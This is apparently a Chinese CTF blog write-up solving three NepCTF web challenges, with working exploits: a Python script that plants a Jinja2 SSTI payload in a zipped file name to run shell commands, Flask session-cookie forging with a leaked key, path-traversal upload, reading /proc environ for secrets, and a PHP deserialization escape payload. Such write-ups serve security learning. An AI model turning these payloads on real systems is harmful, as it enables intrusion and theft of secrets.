获取中...

-

Just a minute...

NepDouble

代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里

1
2
if os.path.islink(new_file):
return 'Symbolic links are not allowed.'

把软连接给ban了,就不能通过文件上传来解决问题了。

我们注意文件上传的这一段代码:

1
2
3
4
5
6
7
8
files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)
return render_template_string('<br>'.join(files_list))

link被加入了files_list,然后files_list会被加入网页进行模版渲染,而且link的{file},也就是文件名我们可控,这就相当于是ssti模版注入了。

直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import zipfile
import os

url = 'https://neptune-26461.nepctf.lemonprefect.cn/'

payload = "{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd ..;cat flag').read()}}" #注意斜杠不能用


file_path = f"C:\\Users\\13664\\Desktop\\{payload}"
f = open(file_path, 'w+')
f.close()
zip = zipfile.ZipFile(r"C:\Users\13664\Desktop\flag.zip", 'w', zipfile.ZIP_DEFLATED)
zip.write(file_path)
zip.close()

files = {'tp_file': open(r'C:\Users\13664\Desktop\flag.zip', 'rb')}

res = requests.post(url=url, files=files)
print(res.text)

os.remove(file_path)

这个题出的挺好的。

蹦蹦炸弹(boom_it)

这个题也是一堆障眼法,什么账号密码什么金钱数量都是没用的。主要就是这一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
if not session.get('admin_logged_in'):
return redirect(url_for('admin'))

if request.method == 'POST':
if 'file' in request.files:
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully'

cmd_output = ""
if 'cmd' in request.args:
if os.path.exists("lock.txt"): # 检查当前目录下是否存在lock.txt
cmd = request.args.get('cmd')
try:
cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
except Exception as e:
cmd_output = str(e)
else:
cmd_output = "lock.txt not found. Command execution not allowed."
return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")

首先会验证我是否是admin登录,这里需要伪造jwt,但是key在哪呢?

1
app.secret_key = "super_secret_key"

这就是key,y1s1我真的服了。

然后利用flask_session_cookie_manager3.py伪造jwt

1
python .\flask_session_cookie_manager3.py encode -s "super_secret_key" -t "{'username':'admin','admin_logged_in':True}"

得到admin的session:eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW5fbG9nZ2VkX2luIjp0cnVlfQ.ZsrqeQ.67ozPrRCkESW85eLT_z39M3RAY4

打入cookie之后就可以进/admin/dashboard了。

这里传入cmd参数就可以执行命令,但是有个前提条件,是当前目录要有lock.txt。然后旁边还有个文件上传的地方,我们这里就需要上传一个lock.txt到当前目录下。

但是默认上传路径是templates/uploads/,由于这里没有对文件名进行任何过滤,我们可以通过目录穿越的方式把文件传到当前目录。

1
2
3
4
Content-Disposition: form-data; name="file"; filename="../../lock.txt"
Content-Type: text/plain

aaa

传入的文件名为../../lock.txt系统就会把lock.txt放到当前目录了。

然后开始执行命令,这里flag是没有权限读取的。

故意输入错误命令,令其报错:

QQ_1724584341924

注意到程序在我们输入的命令前方还拼接了一条GZCTF_FLAG=0,这里也就是清理了环境变量里的flag。

那是不是说明在环境启动的之后,在这条命令执行之前,flag是确确实实存在过环境变量里的呢?

答案是肯定的,所以我们输入ps命令查看进程启动情况。

然后cat /proc/21/environ里找到了flag

fbb3acf286069218f8fd5be04668cb8f

PHP_MASTER!!

基本是做过的很类似的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file( __FILE__);
error_reporting(0);

function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
public $key;
public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);
}
}
}

class B
{
public $b;
public function __tostring()
{
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
return ($this->b) ();
}
}
}
class C
{
public $s;
public $str;
public function __construct($s)
{
$this->s = $s;
}
public function __destruct()
{
echo $this ->str;
}
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

这道题的A::readflag()方法是没用的,这里读不到flag。而B类最后的return ($this->b) ();倒是可以执行任意无参方法。这里可以执行phpinfo,flag就在环境变量里。

C类的echo $this ->str;可以触发B类的__tostring()

这里我们可控的只有C类的$s,而我们想要$str成为B类的一个实例化对象。这里序列化之后的$ser会进去一个replace,\0会变成00,也就是我们传入%00(这是一个字符),会变成00(两个字符)。可以尝试用字符串逃逸的方法达到效果。

我们需要的序列化字符串:

1
O:1:"C":2:{s:1:"s";s:1:"a";s:3:"str";O:1:"B":1:{s:1:"b";N;}}

注意我们可控的s后面的部分:";s:3:"str";O:1:"B":1:{s:1:"b";N;}}这就是我们需要逃逸的部分,一个%00可以逃逸一个字符,而我们需要逃逸35个字符,就需要35个%00

payload:

1
?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";N;}}

这样就可以到B类的__tostring()方法了。

同样的,我们还需要让B类的$b变成phpinfo,照猫画虎,我们需要逃逸的部分是:

1
";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}

一共47个字符,那么我们就需要47个%00

payload:

1
?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}
1
2
3
4
5
6
7
8
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
return ($this->b) ();
}

关于这里面的逃逸,大家可以去看 https://www.cnblogs.com/EddieMurphy-blogs/p/18310518

这里不再赘述了。主要是注意一下%f0吞字符的取整。

总payload:

1
?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}&nep1=%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0&nep=NepCTNep

QQ_1724743182982

相关文章
评论
分享
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解